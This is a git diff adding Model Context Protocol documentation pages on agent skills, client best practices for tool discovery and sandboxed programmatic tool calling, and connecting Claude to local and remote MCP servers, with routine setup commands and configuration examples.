+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/2025-11-25/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2025-11-25/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/2025-11-25/develop/build-with-agent-skills.md b/content/mcp/docs/2025-11-25/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..6c7be0c3c
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/build-with-agent-skills.md
@@ -0,0 +1,104 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results, structured input via
+ [elicitation](/specification/2025-11-25/client/elicitation), or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [Streamable HTTP](/specification/2025-11-25/basic/transports#streamable-http)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when
+[elicitation's](/specification/2025-11-25/client/elicitation) flat-form constraints
+don't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/2025-11-25/basic/transports#stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/2025-11-25/develop/clients/client-best-practices.md b/content/mcp/docs/2025-11-25/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..45df59cc2
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/clients/client-best-practices.md
@@ -0,0 +1,296 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: Initialize connection
+ Server-->>Host: Server capabilities + tools
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host->>Server: Close connection
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2025-11-25/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+MCP Servers can provide an optional [`outputSchema`](/specification/2025-11-25/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).
+
+When an output schema is absent, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2025-11-25/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/2025-11-25/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/2025-11-25/develop/connect-local-servers.md b/content/mcp/docs/2025-11-25/develop/connect-local-servers.md
new file mode 100644
index 000000000..c13edf0fd
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors and more" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then scroll over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/2025-11-25/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/2025-11-25/develop/connect-remote-servers.md b/content/mcp/docs/2025-11-25/develop/connect-remote-servers.md
new file mode 100644
index 000000000..1afb93dc4
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/connect-remote-servers.md
@@ -0,0 +1,122 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar.
+
+ This will display your currently configured connectors and provide options to add new ones.
+
+
+
+ In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process.
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
